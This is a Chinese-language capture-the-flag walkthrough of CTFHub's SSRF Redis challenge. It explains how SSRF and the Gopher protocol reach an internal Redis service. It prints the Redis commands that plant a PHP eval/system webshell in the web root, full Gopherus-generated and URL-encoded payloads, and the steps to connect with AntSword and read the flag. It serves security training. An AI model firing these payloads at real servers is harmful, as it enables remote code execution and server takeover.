目录
本文通过CTFHub的SSRF Redis关卡的渗透实战,详细讲解了SSRF结合Gopher协议攻击Redis服务的技术原理与实践方法。通过Gopherus工具构造恶意Redis请求,突破内网限制实现远程代码执行(RCE)。实战演示了从生成Payload、URL编码到利用SSRF安全风险上传Webshell的全过程,最终通过蚁剑连接木马获取目标系统flag。
一、SSRF Gopher Redis
1、功能简介
在Web安全领域,结合SSRF(服务器端请求伪造)、Gopher协议和Redis协议的攻击,构成了针对内网Redis服务的高危威胁。这种攻击能将原本低危的SSRF风险升级为具有远程代码执行(RCE)能力的致命攻击链。攻击者通过构造恶意Gopher请求,利用SSRF风险使目标服务器与内网Redis服务交互,最终达成远程代码执行目的。下表展示了这三个组件的核心作用。
组件 | 核心定位 | 关键特性 |
---|---|---|
SSRF | Server-Side Request Forgery “服务器端请求伪造”,攻击者通过可控输入诱导服务器向任意地址 / 服务发起请求 | 突破客户端访问限制,可访问服务器内网资源(如 127.0.0.1:6379 的 Redis服务) |
Gopher 协议 | 轻量级互联网协议,支持构造任意二进制 / 文本请求包,可模拟完整协议交互 | 能封装Redis协议的报文,通过gopher:// URL 传递给 SSRF安全风险点 |
Redis | 开源的高性能键值对内存数据库,常用于缓存、消息队列等 | Redis使用一种简单、基于文本的协议。历史版本默认无认证且绑定在 0.0.0.0 ,导致未授权访问。 |
2、攻击原理
Redis服务默认运行在服务器内网(127.0.0.1:6379),仅允许本地或信任网段访问,外部无法直接触达。而 SSRF + Gopher 恰好能突破这一限制,核心攻击链路如下:
(1)SSRF的作用
SSRF 核心在于服务器未对用户输入的 URL 进行严格过滤和验证,导致攻击者可以控制服务器向任意地址发起请求。由于请求是由服务器端发出的,所以攻击者能够利用SSRF访问服务器所在网络内部的系统,而这些内部系统通常是外部无法直接访问的,比如内网中的 Redis 服务。
(2)Gopher 协议特性
Gopher 协议是一种比 HTTP 协议更早出现的协议,现在已不常用,但在 SSRF 利用中却非常有用。Gopher 协议可以发送各种格式的请求包,能够构造任意的 TCP 数据流,这使得攻击者可以通过 Gopher 协议模拟 Redis 协议的请求格式,向 Redis 服务器发送特定的命令。
(3)攻击 Redis 步骤
① 确认 Redis 服务存在:攻击者首先需要通过 SSRF探测内网中是否存在 Redis 服务,通常 Redis 默认运行在 6379 端口,攻击者可以构造一个 SSRF 请求,尝试访问127.0.0.1:6379
,根据服务器的响应情况来判断 Redis 服务是否存在。
② 构造恶意请求:一旦确认 Redis 服务存在,攻击者就可以利用 Gopher 协议构造恶意的 Redis 命令请求包。例如,比让Redis执行以下命令在服务器生成木马文件。
FLUSHALL # 清空所有数据库(可选,为了清洁)
SET shell "<?php @eval($_POST['ljn']); ?>" # 将一个键的值设置为Webshell代码
CONFIG SET DIR /var/www/html # 修改Redis数据持久化存储目录为Web目录
CONFIG SET DBFILENAME shell.php # 修改持久化数据文件名为webshell的名字
SAVE # 强制将当前数据库保存到磁盘。由于上面修改了路径和文件名,就会生成/var/www/html/shell.php
QUIT # 退出连接
③ 发送请求并执行命令:攻击者将构造好的 Gopher 协议请求包进行 URL 编码后,嵌入到存在 SSRF安全风险的请求中,通过服务器发送给 Redis 服务器。Redis 服务器接收到请求后,会按照协议解析并执行其中的命令,从而完成攻击者预期的操作。Gopher协议要求对整个TCP数据流进行URL编码。手动构造极其繁琐,这就是Gopherus这类工具的价值所在。
将Redis命令转换为合规的协议格式。
对整个数据流进行URL编码。
生成最终的Gopher URL:
gopher://127.0.0.1:6379/_<编码后的数据>
④ 实现后续控制:将生成的Gopher URL通过SSRF风险点提交给服务器后,如果Web目录路径正确且Redis有写权限,攻击成功后就会生成木马文件,使用木马的密码连接木马即可完全控制该服务器。
二、gopherus
1、功能简介
Gopherus 是一款用 Python 编写的开源工具,专门用于利用 SSRF(服务器端请求伪造)。它的核心功能是生成恶意编码的 Gopher 协议载荷,从而攻击内网中的各种服务,实现从信息泄露到远程代码执行(RCE)的升级。
项目地址: https://github.com/tarunkant/Gopherus
Gopherus 可以生成 Gopher 协议的有效载荷,用于实现远程代码执行(RCE),并获取目标服务器的反向 Shell。该工具支持多种服务的 SSRF 攻击 payload 生成,包括 MySQL、PostgreSQL、FastCGI、Redis、Zabbix、pymemcache、rbmemcache、phpmemcache、dmpmemcache、smtp 等。
2、攻击Redis服务方法
在 Gopherus 中,针对 Redis服务的攻击步骤如下所示。
# 1. 启动Redis攻击模块
$ python2 gopherus.py --exploit redis
# 2. 输入Redis路径和Webshell内容
[+] What do you want?? (ReverseShell/PHPShell): PHPShell
[+] Enter Redis path: /var/www/html
[+] Enter shell function: <?php system($_GET['cmd']); ?>
# 3. 获取生成的Gopher载荷
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
# 4. 通过SSRF发送
curl "http://vulnerable-site.com/ssrf.php?url=生成的GopherURL"
# 5. 生成Webshell文件并访问
生成木马文件URL:http://vulnerable-site.com/shell.php
密码:cmd
三、Gopherus安装
1、源码下载
首先从 GitHub 上克隆 Gopherus 项目,可以通过命令行或者直接在网站官网下载源码。
项目地址:https://github.com/tarunkant/Gopherus.git
命令行下载:git clone https://github.com/tarunkant/Gopherus.git
2、编译安装
然后进入项目源码所在的目录,其中install.sh为安装脚本,如下图所示。
赋予安装脚本执行权限并运行,这一步会将 Gopherus 相关脚本链接到系统路径,方便后续全局调用。如果不执行如下install命令,需要每次使用Gopherus工具时,进入到源码路径中使用。
chmod +x install.sh
sudo./install.sh
四、渗透实战
1、打开靶场
打开靶场,如下图所示题目给出以下提示“这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!”,这说明题目提醒我们使用SSRF Redis进行渗透,我们可以直接在kali使用gopherus脚本进行攻击。
复制靶场链接(challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800)并访问,如下所示被重定向到了?url=_中。
2、gopherus渗透
(1)启动攻击模块
使用 gopherus.py --exploit redis启动Redis攻击模块,具体命令如下所示。
python2 gopherus.py --exploit redis————使用gopherus工具生成payload
(2)第一行输入攻击类型
首先我们选择攻击类型为PHPShell,具体如下所示。
[+] What do you want?? (ReverseShell/PHPShell): PHPShell
PHPShell:生成一个 PHP WebShell 文件
ReverseShell:生成一个直接反弹 Shell 的 payload
(3)第二行输入路径
启动 Gopherus 的 Redis 攻击模块后,具提示你输入Redis 数据文件将要写入的目标路径。这个路径的核心作用是:通过 Redis 的 CONFIG SET dir
命令指定数据持久化目录(即 dir
参数),后续执行 SAVE
命令时,Redis 会将内存中的数据(如攻击者构造的恶意内容)写入该目录下的文件(由 dbfilename
指定文件名)。简言之,这个路径决定了 Redis 写入的恶意文件最终存储在服务器的哪个位置,需根据目标服务器的 Web 目录结构或可利用路径填写,才能让后续的恶意文件被有效访问和执行。
[+] Enter Redis path: /var/www/html
若输入 /var/www/html
(Web 服务的根目录),配合设置 dbfilename webshell.php
,则 Redis 会在 /var/www/html
下生成 webshell.php
文件。由于该目录通常是 Web 服务器(如 Nginx、Apache)的网站根目录,攻击者可通过访问 http://目标IP/webshell.php
触发恶意代码执行,实现远程控制。
(4)第三行输入 WebShell 内容
接下来工具提示输入要执行的命令,这是可以选择使用一句话木马,参数为mooyuan,完整内容为<?php @eval($_POST['mooyuan']);?>,具体含所以如下所示。
脚本内容 | 含义 | 作用 |
---|---|---|
<?php ... ?> |
PHP 标签 | 标识 PHP 代码开始和结束 |
system() |
系统命令执行函数 | 执行操作系统命令 |
$_GET['mooyuan'] |
获取 GET 参数 | 从 URL 中获取 mooyuan 参数的值 |
; |
语句结束符 | PHP 语法要求 |
Gopherus 会自动将 dbfilename
(Redis 持久化文件名)设置为 shell.php,配置完毕后
Gopherus 工具会根据输入生成相应的 Gopher 协议有效载荷(下图白色下划线文字),如下所示。
[+] Enter shell function: <?php system($_GET['mooyuan']); ?>
(5)URL编码
此时工具会根据输入生成相应的 Gopher 协议有效载荷,复制上图中白色下划线的Payload,内容如下所示。
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2437%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27mooyuan%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
生成的有效载荷需要进行 URL 编码,可使用在线编码工具或编程语言中的编码函数进行编码。把生成的payload进行URL编码,编码后如下所示。
gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252437%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527mooyuan%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
(6)执行SSRF攻击
访问构造的paylaod URL网址,使用参数?url=Payload进行SSRF攻击,也就是拼接(challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/?url=_)与Payload,完整URL如下所示。
http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252437%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527mooyuan%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
显示此页面为504,没有关系,执行这段payload的目标就是在服务器根目录上传木马shell.php,
此时shell.php应该已经被传到靶场的根目录,因此木马文件的URL地址如下所示。
http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/shell.php
3、连接木马
打开蚁剑,添加数据,填写URL地址和密码,其中木马ljn.php的具体信息如下所示。
木马内容:<?php @eval($_POST['mooyuan']);?>
木马URL:http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/shell.php
木马密码:mooyuan
如下所示,填写完毕后点击测试连接右下角出现绿色连通文字,点击添加即成功连接木马。
右键选择文件系统,开始查找flag相关的文件,如下所示在根目录中找到flag文件。
双击打开文件flag_5102c54a839a31054559e7d99720ad84,成功获取到flag值。